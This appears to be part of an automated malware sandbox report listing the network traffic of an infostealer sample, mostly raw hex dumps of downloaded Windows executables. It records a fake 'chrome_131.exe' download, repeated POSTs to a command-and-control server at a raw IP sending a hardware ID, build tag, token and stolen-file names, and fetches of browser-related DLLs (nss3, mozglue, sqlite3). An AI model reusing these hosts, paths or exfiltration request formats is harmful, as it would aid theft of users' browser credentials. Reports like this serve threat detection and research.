10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 12:42:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 12:42:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 12:42:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /chrome_131.exe HTTP/1.1Host: perseverclinic.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 95.215.207.176Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDAEGCAFIIDGDGCGIJHost: 95.215.207.176Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 42 43 46 38 33 42 43 36 33 38 31 38 30 36 39 37 30 37 35 32 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 2d 2d 0d 0a Data Ascii: ------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="hwid"C6BCF83BC6381806970752------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="build"LogsDiller------AKJDAEGCAFIIDGDGCGIJ--
Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIJEBFCGDAAKFHIDBFIHost: 95.215.207.176Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 2d 2d 0d 0a Data Ascii: ------CFIJEBFCGDAAKFHIDBFIContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------CFIJEBFCGDAAKFHIDBFIContent-Disposition: form-data; name="message"browsers------CFIJEBFCGDAAKFHIDBFI--
Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBGHJEBKJEGHJKECAAKJHost: 95.215.207.176Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 2d 2d 0d 0a Data Ascii: ------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------DBGHJEBKJEGHJKECAAKJContent-Disposition: form-data; name="message"plugins------DBGHJEBKJEGHJKECAAKJ--
Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEGCBFHJDHJJKFIDBGIJHost: 95.215.207.176Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 42 46 48 4a 44 48 4a 4a 4b 46 49 44 42 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 46 48 4a 44 48 4a 4a 4b 46 49 44 42 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 46 48 4a 44 48 4a 4a 4b 46 49 44 42 47 49 4a 2d 2d 0d 0a Data Ascii: ------IEGCBFHJDHJJKFIDBGIJContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------IEGCBFHJDHJJKFIDBGIJContent-Disposition: form-data; name="message"fplugins------IEGCBFHJDHJJKFIDBGIJ--
Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKFCGIJKJKFHIDHIIIHost: 95.215.207.176Content-Length: 6671Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /70d63ca8a5be6cc3/sqlite3.dll HTTP/1.1Host: 95.215.207.176Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDBFBGIDHCAAKEBAKFIHost: 95.215.207.176Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFCHost: 95.215.207.176Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIIEBGCAAECBGCBGCBKHost: 95.215.207.176Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------AFIIEBGCAAECBGCBGCBKContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------AFIIEBGCAAECBGCBGCBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFIIEBGCAAECBGCBGCBKContent-Disposition: form-data; name="file"------AFIIEBGCAAECBGCBGCBK--
Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJEBAAECBGDHIECAKJKHost: 95.215.207.176Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 38 30 62 33 34 33 32 32 36 30 34 35 30 32 33 39 32 39 33 33 64 39 34 32 63 35 35 66 64 63 62 38 62 36 32 39 39 36 63 66 38 31 61 62 30 65 33 64 66 31 39 36 34 37 38 32 64 61 66 65 65 65 61 34 32 65 35 37 34 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="token"fb80b34322604502392933d942c55fdcb8b62996cf81ab0e3df1964782dafeeea42e574c------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="file"------KKJEBAAECBGDHIECAKJK--
Source: global traffic	HTTP traffic detected: GET /70d63ca8a5be6cc3/freebl3.dll HTTP/1.1Host: 95.215.207.176Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /70d63ca8a5be6cc3/mozglue.dll HTTP/1.1Host: 95.215.207.176Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /70d63ca8a5be6cc3/msvcp140.dll HTTP/1.1Host: 95.215.207.176Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /70d63ca8a5be6cc3/nss3.dll HTTP/1.1Host: 95.215.207.176Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /70d63ca8a5be6cc3/softokn3.dll HTTP/1.1Host: 95.215.207.176Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /70d63ca8a5be6cc3/vcruntime140.dll HTTP/1.1Host: 95.215.207.176Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJJKKJJDAAAAAKFHJJHost: 95.215.207.176Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
